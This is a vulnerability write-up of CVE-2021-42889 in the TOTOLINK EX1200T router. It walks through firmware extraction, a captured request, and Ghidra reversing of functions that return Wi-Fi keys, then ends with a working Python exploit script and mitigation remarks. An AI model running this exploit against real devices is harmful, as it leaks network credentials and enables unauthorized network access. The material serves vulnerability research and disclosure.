CVE-2021-42889: Access Points information leak
Introduction
A vulnerability discovered in TOTOLINK EX1200T
model known as CVE-2021-42889
which lead to an exposure of sensitive information such as (wifikey, wifiname) and many more of the AP configurations, as a results anyone exploit this vulnerability can get access to the network. Note:(Everything you obtain here is for educational purposes, Don't use or abuse any bug against any target without permissions
)
Obtaining the Firmware
Before we start we would need the firmware of the device, Therefore We can take a static look at the code and how it works to understand more. So, what we need is the vulnerable Firmware for the device which is V4.1.2cu.5215
and we have many ways to do it:
-
You can search for the firmware on the official website for the vendor.
-
Download it from any other source (after someone already dump it from the device and published it).
-
Dump the firmware through
UART
, You could read a detailed blog from Here. -
Also, you could contact the support to provide you with the firmware.
-
Finally dumping the firmware using
CH341A
Mini programmer USB, You could read a detailed blog from Here.
In my case, I found the firmware on the vendor website. Now, Let’s extract the firmware using binwalk
tool as the following binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web"
and here is the output:
$ ls
TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web
$ sudo binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web"
[sudo] password for azima:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
76 0x4C JFFS2 filesystem, little endian
209052 0x3309C Zlib compressed data, compressed
209388 0x331EC Zlib compressed data, compressed
210144 0x334E0 Zlib compressed data, compressed
210832 0x33790 JFFS2 filesystem, little endian
231428 0x38804 Zlib compressed data, compressed
231988 0x38A34 Zlib compressed data, compressed
232548 0x38C64 Zlib compressed data, compressed
233116 0x38E9C Zlib compressed data, compressed
233560 0x39058 JFFS2 filesystem, little endian
254344 0x3E188 Zlib compressed data, compressed
254696 0x3E2E8 JFFS2 filesystem, little endian
255224 0x3E4F8 Zlib compressed data, compressed
256064 0x3E840 JFFS2 filesystem, little endian
321636 0x4E864 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6526520 bytes
And as i am using Windows Subsystem Linux (WSL)
, Here we can browser our firmware normally:
The Analysis
It’s the time for the analysis. We will need Burp Suite
to see how is the request made that exposing these sensitive information. When we login to the device panel and go to AP Settings
tab & then go to Burp Suite
and look at the made requests we can see the following request:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.254
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://192.168.0.254
DNT: 1
Connection: close
Referer: http://192.168.0.254/ap.asp?timestamp=1679528272527
Cookie: SESSION_ID=2:1617145753:2
{"topicurl":"setting/getWiFiApConfig"}
And if we go to the response tab for this request we can see it leaks all the information about the APs
including the name and the key for each one:
Let’s go with Ghidra
and reverse the cstecgi.cgi
file. Now, By going to the file and check it with the file
command, We can see it’s an ELF 32bit MIPS
file:
Open it and create a new project i named it EX1200T
for the device name and drop the cstecgi.cgi
file into the project:
After that open the file using Code Browser
within Ghidra
:
Then, analysis the file:
Navigating to Symbol Tree
and let’s check out the functions:
After going through the functions clearly inside FUN_00400dd8
function we can see the following lines of codes. But, there is no thing interesting and it’s all about functions calling other functions:
We just can see that httpStatus
, redirectURL
& responseParam
being passed to some unclear functions. But, You can see under \squashfs-root\lib\cste_modules
folder that there are libraries named as the following:
app.so
cloudupdate.so
global.so
lan.so
product.so
system.so
upgrade.so
wireless.so
wps.so
After reversing this libraries you will know that it’s clearly used by the cstecgi.cgi
to perform different operations and changes through the device panel. Let’s identify which one contains the getWiFiApConfig
by searching through the following Bash
one liner using strings
command:
for i in $(ls -la | awk '{print $9}' | grep ".so"); do echo ""; echo "Lib Name: $i"; strings $i | grep "getWiFiApConfig"; done
The above line will print the library name after this will run the strings
command on the library to get any string has the word getWiFiApConfig
and will print the results under the library name. Therefore, we will be able to know which library get the information about the APs
or anything related. Command output:
Lib Name: app.so
Lib Name: cloudupdate.so
Lib Name: global.so
Lib Name: lan.so
Lib Name: product.so
Lib Name: system.so
Lib Name: upgrade.so
Lib Name: wireless.so
getWiFiApConfig
getWiFiApConfig
Lib Name: wps.so
And as we can see it’s with-in the wireless.so
library, As we did with the cstecgi.cgi
file. Let’s do the same with the library with Ghidra
. After opening the Functions
tab under Symbol Tree
we can notice the getWiFiApConfig
function:
So, We can say the flaw is as the following:
getWiFiApConfig
Now, Let’s navigate to the function and understand what this function do and how it works. First the function start by taking 3 parameters
undefined4 getWiFiBasicConfig(undefined4 param_1,undefined4 param_2,undefined4 param_3)
After that the rest of the code is declering of variables until we reach the line number 41
:
The code starts with sets the names of the wireless networks wlan0
and wlan0-vxd
, and then uses the SetWlan_idx()
function to set the index of the wireless network to wlan0
, After that retrieves the SSID
of the wireless network using the apmib_get()
function and adds it to a JSON
object named uVar1
.Then retrieves the wireless channel and regulatory domain of the network and adds them to the JSON
object, Also it gets the band (either 2.4GHz
or 5GHz
) of the wireless network and adds it to the JSON
object. Finally, it calls the getRepeaterStatus()
function to retrieve the status of a wireless repeater and stores the result in the variable iVar3
. We can clearly guess that &local_68
is the wlan0
, &local_60
is the wlan0-vxd
and uVar1
is the JSON
object. So, Let’s rename these variables in Ghidra
to make the code more clear.
The following lines is a condition checks If iVar2
is equal to 1
then it will call the getWirelessChannel()
function with &wlan0
as an argument and assign the results to local_30[0]
Variable. If iVar2
is not equal to 1
then it calls apmib_get()
with arguments of 2
and local_30
which presumably retrieves some value from configurations on device setting and stores it in local_30[0]
.
The above lines of code do the same as the previous lines but for the 5G
wireless network.
the above lines sprintf()
function is used for formats the string with an integer value from local_30[0]
and stores the result in the memory location pointed to by local_50
, Then a cJSON
string is created using the previously formatted string and assigned to uVar1
and a cJSON
string is added to jsonData
with the key channel
, After that wireless key is retrieved by calling the getWirelessKey()
function with &wlan0
as an argument and the result is assigned to uVar1
& then cJSON
string is created using the wireless key and assigned to uVar1
, After that cJSON
string is added to jsonData
with a key represented by &DAT_000214d4
. It checks if a file named /mnt/custom/product.ini
exists by calling the f_file_exist()
function. Then results assigned to iVar2
. We have a IF
condition if the file doesn’t exist, a cJSON
string with value 0
is created and added to jsonData
with the key edupSupport
. else If the file exists, it reads the edupSupport
value from the PRODUCT
section in the INI
file, creates a cJSON
string with that value, and adds it to jsonData
with the same key. Then, SetWlan_idx()
function is called with the &wlan0
argument. Finally, jsonData
is printed, and the result is assigned to __ptr
which passed to the webGetCfgResponse()
to send it as a response for the user.
getWiFiApInfo
Another function leaking the same and more information about the APs
including the status of the AP
and many more, if we navigate to the function code in Ghidra
as the following:
It’s mostly do the same as the getWiFiApConfig
function but with more information included.
Function code:
undefined4 getWiFiApInfo(undefined4 param_1,undefined4 param_2,undefined4 param_3)
{
undefined4 uVar1;
char *__nptr;
int iVar2;
undefined4 uVar3;
int iVar4;
void *__ptr;
//... VARIABLES
__nptr = (char *)websGetVar(param_2,"wifiIdx","0");
iVar2 = atoi(__nptr);
sprintf((char *)&local_238,"wlan%d",iVar2);
sprintf((char *)&local_230,"wlan%d-va0",iVar2);
sprintf((char *)&local_220,"wlan%d-va1",iVar2);
sprintf((char *)&local_210,"wlan%d-vxd",iVar2);
SetWlan_idx(&local_238);
uVar3 = getOperationMode();
uVar5 = FUN_00020b20(uVar3);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"operationMode",uVar3);
apmib_get(2,&local_5c);
uVar5 = FUN_00020b20(local_5c);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"channel",uVar3);
uVar3 = getWirelessChannel(&local_238);
uVar5 = FUN_00020b20(uVar3);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"autoChannel",uVar3);
uVar3 = getWirelessBand(&local_238);
uVar5 = FUN_00020b20(uVar3);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"band",uVar3);
iVar4 = is_interface_up(&local_238);
local_5c = (uint)(iVar4 == 0);
uVar5 = FUN_00020b20(local_5c);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"wifiOff1",uVar3);
apmib_get(1,&local_13c);
uVar3 = cJSON_CreateString(&local_13c);
cJSON_AddItemToObject(uVar1,"ssid1",uVar3);
getIfMac(&local_238,&local_118);
uVar3 = cJSON_CreateString(&local_118);
cJSON_AddItemToObject(uVar1,"bssid1",uVar3);
uVar3 = getAuthMode(&local_238);
sprintf((char *)&local_104,"%s",uVar3);
uVar3 = getEncrypType(&local_238);
sprintf((char *)&local_94,"%s",uVar3);
uVar3 = getWirelessKey(&local_238);
uVar3 = cJSON_CreateString(uVar3);
cJSON_AddItemToObject(uVar1,"wifiKey1",uVar3);
memset(local_200,0,0x41);
memset(local_200,0,0x41);
sprintf(acStack_1bc,"cat proc/%s/sta_info | grep active | cut -f2 -d \':\' | cut -f1 -d \')\'",
&local_238);
local_5c = getCmdVal(acStack_1bc);
uVar5 = FUN_00020b20(local_5c);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"staNum1",uVar3);
SetWlan_idx(&local_230);
apmib_get(0x16,&local_5c);
uVar5 = FUN_00020b20(local_5c);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"wifiOff2",uVar3);
apmib_get(1,&local_13c);
uVar3 = cJSON_CreateString(&local_13c);
cJSON_AddItemToObject(uVar1,&DAT_00021938,uVar3);
getIfMac(&local_230,&local_118);
uVar3 = cJSON_CreateString(&local_118);
cJSON_AddItemToObject(uVar1,"bssid2",uVar3);
uVar3 = getAuthMode(&local_230);
sprintf((char *)&local_f4,"%s",uVar3);
uVar3 = getEncrypType(&local_230);
sprintf((char *)&local_8c,"%s",uVar3);
uVar3 = getWirelessKey(&local_230);
uVar3 = cJSON_CreateString(uVar3);
cJSON_AddItemToObject(uVar1,"wifiKey2",uVar3);
if (local_5c == 0) {
memset(local_200,0,0x41);
sprintf(acStack_1bc,"cat /proc/%s/sta_info | grep hwaddr | awk \'{count++} END{print count}\'",
&local_230);
iVar4 = getCmdResult(acStack_1bc,local_200,0x41);
if ((iVar4 == 0) && (local_200[0] != '\0')) {
iVar4 = atoi(local_200);
}
else {
iVar4 = 0;
}
uVar5 = FUN_00020b20(iVar4);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"staNum2",uVar3);
}
else {
uVar3 = cJSON_CreateNumber(0,0);
cJSON_AddItemToObject(uVar1,"staNum2",uVar3);
}
SetWlan_idx(&local_220);
apmib_get(0x16,&local_5c);
uVar5 = FUN_00020b20(local_5c);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"wifiOff3",uVar3);
apmib_get(1,&local_13c);
uVar3 = cJSON_CreateString(&local_13c);
cJSON_AddItemToObject(uVar1,"ssid3",uVar3);
getIfMac(&local_220,&local_118);
uVar3 = cJSON_CreateString(&local_118);
cJSON_AddItemToObject(uVar1,"bssid3",uVar3);
uVar3 = getAuthMode(&local_220);
sprintf((char *)&local_e4,"%s",uVar3);
uVar3 = getEncrypType(&local_220);
sprintf((char *)&local_84,"%s",uVar3);
uVar3 = getWirelessKey(&local_220);
uVar3 = cJSON_CreateString(uVar3);
cJSON_AddItemToObject(uVar1,"wifiKey3",uVar3);
if (local_5c == 0) {
memset(local_200,0,0x41);
sprintf(acStack_1bc,"cat /proc/%s/sta_info | grep hwaddr | awk \'{count++} END{print count}\'",
&local_220);
iVar4 = getCmdResult(acStack_1bc,local_200,0x41);
if ((iVar4 == 0) && (local_200[0] != '\0')) {
iVar4 = atoi(local_200);
}
else {
iVar4 = 0;
}
uVar5 = FUN_00020b20(iVar4);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"staNum3",uVar3);
}
else {
uVar3 = cJSON_CreateNumber(0,0);
cJSON_AddItemToObject(uVar1,"staNum3",uVar3);
}
sprintf(acStack_d4,"%s;%s;%s",&local_104,&local_f4,&local_e4);
sprintf((char *)&local_7c,"%s;%s;%s",&local_94,&local_8c,&local_84);
uVar3 = cJSON_CreateString(acStack_d4);
cJSON_AddItemToObject(uVar1,"authMode",uVar3);
uVar3 = cJSON_CreateString(&local_7c);
cJSON_AddItemToObject(uVar1,"encrypType",uVar3);
uVar3 = cJSON_CreateNumber(0,0x40080000);
cJSON_AddItemToObject(uVar1,"bssidNum",uVar3);
SetWlan_idx(&local_210);
if (iVar2 == 0) {
apmib_get(0xfa,&local_5c);
apmib_get(0xfb,&local_13c);
}
else {
apmib_get(0xfc,&local_5c);
apmib_get(0xfd,&local_13c);
}
uVar5 = FUN_00020b20(local_5c);
uVar3 = cJSON_CreateNumber((int)uVar5,(int)((ulonglong)uVar5 >> 0x20));
cJSON_AddItemToObject(uVar1,"apcliEnable",uVar3);
uVar3 = cJSON_CreateString(&local_13c);
cJSON_AddItemToObject(uVar1,"apcliSsid",uVar3);
uVar3 = getAuthMode(&local_210);
uVar3 = cJSON_CreateString(uVar3);
cJSON_AddItemToObject(uVar1,"apcliAuthMode",uVar3);
uVar3 = getEncrypType(&local_210);
uVar3 = cJSON_CreateString(uVar3);
cJSON_AddItemToObject(uVar1,"apcliEncrypType",uVar3);
uVar3 = getWirelessKey(&local_210);
uVar3 = cJSON_CreateString(uVar3);
cJSON_AddItemToObject(uVar1,"apcliKey",uVar3);
getWlBssInfo(&local_210,auStack_58);
sprintf((char *)&local_118,"%02X:%02X:%02X:%02X:%02X:%02X",(uint)local_55,(uint)local_54,
(uint)local_53,(uint)local_52,(uint)local_51,(uint)local_50);
uVar3 = cJSON_CreateString(&local_118);
cJSON_AddItemToObject(uVar1,"apcliBssid",uVar3);
iVar2 = getRepeaterStatus(&local_210);
if (iVar2 == 1) {
uVar3 = cJSON_CreateString("success");
cJSON_AddItemToObject(uVar1,"apcliStatus",uVar3);
}
else {
uVar3 = cJSON_CreateString(&DAT_000218e4);
cJSON_AddItemToObject(uVar1,"apcliStatus",uVar3);
}
SetWlan_idx(&local_238);
__ptr = (void *)cJSON_Print(uVar1);
websGetCfgResponse(param_1,param_3,__ptr);
free(__ptr);
cJSON_Delete(uVar1);
return 0;
}
If we requested this function in the panel we can see the results clearly as the following:
Now, Let’s write a python code to exploit both functions and retrieve the leaked important information:
import requests
import sys
from json import *
def getWiFiApConfig(target):
url = f"http://{target}/cgi-bin/cstecgi.cgi"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": f"http://{target}", "DNT": "1", "Connection": "close", "Referer": f"http://{target}/ap.asp?timestamp=1679528272527"}
json={"topicurl": "setting/getWiFiApConfig"}
r = requests.post(url, headers=headers, json=json)
data = loads(r.text)
print("=========================================")
print("[+] Access Point Information")
print("SSID:", data["ssid"])
print("Key:", data["key"])
print("[+] 5G Access Point Information")
print("SSID:", data["ssid5g"])
print("Key:", data["key5g"])
def getWiFiApInfo(target):
url = f"http://{target}/cgi-bin/cstecgi.cgi"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": f"http://{target}", "DNT": "1", "Connection": "close", "Referer": f"http://{target}/ap.asp?timestamp=1679528272527"}
json={"topicurl": "setting/getWiFiApInfo"}
r = requests.post(url, headers=headers, json=json)
data = loads(r.text)
print("=========================================")
print(f"[+] Access Point {data['ssid1']}")
print("Key:", data["wifiKey1"])
print("Status:", data["wifiOff1"])
print("BSSID:", data["bssid1"])
print(f"[+] Access Point {data['ssid2']}")
print("Key:", data["wifiKey2"])
print("Status:", data["wifiOff2"])
print("BSSID:", data["bssid2"])
print(f"[+] Access Point {data['ssid3']}")
print("Key:", data["wifiKey3"])
print("Status:", data["wifiOff3"])
print("BSSID:", data["bssid3"])
target = sys.argv[1]
method = int(sys.argv[2])
if method == 1:
print(f"[*] Target: {target} Method: getWiFiApConfig")
getWiFiApConfig(target)
elif method == 2:
print(f"[*] Target: {target} Method: getWiFiApInfo Status: (0 Means on/ 1 Means off)")
getWiFiApInfo(target)
else:
print("[-] Invalid Method number")
Our code will take 2 parameters the target IP
address and a method
number (1 for getWiFiApConfig
or 2 for getWiFiApInfo
), Then It checks the method number and calls the appropriate function for each method. The getWiFiApConfig
function retrieves the configuration information for both 2.4G
and 5G
Access Points, including SSID
and key
by sending a POST
request to the target’s /cgi-bin/cstecgi.cgi
with the topicurl
parameter set to setting/getWiFiApConfig
. After that parsing the JSON
data in the response to retrieve the SSID
and the key
. The getWiFiApInfo
function retrieves information for multiple access points, including SSID
, key
, status
and BSSID
by sending a POST
request to the target’s /cgi-bin/cstecgi.cgi
with the topicurl
parameter set to setting/getWiFiApInfo
. After that parsing the JSON
data in the response to retrieve the SSID
, key
, status
and BSSID
.
Final Thoughts
As mostly of the vulnerabilities in this device model, There is nothing checks if the user is logged in or no & has a valid session or no, So, It must contain a function to operate all of this and check it. Another thing is not to retrieve the keys
of the APs
until the user click on show password.
Conclusion
As we saw the functions that are responsible for retrieving the Access Points information and type of information each one bring to the device panel & how it’s done, Also we wrote a code to exploit it and automate this process. Finally, The root cause and highlighted some suggestions to mitigate it.
References
-
https://www.totolink.net/home/news/me_name/id/39/menu_listtpl/DownloadC.html
-
https://ghidra-sre.org/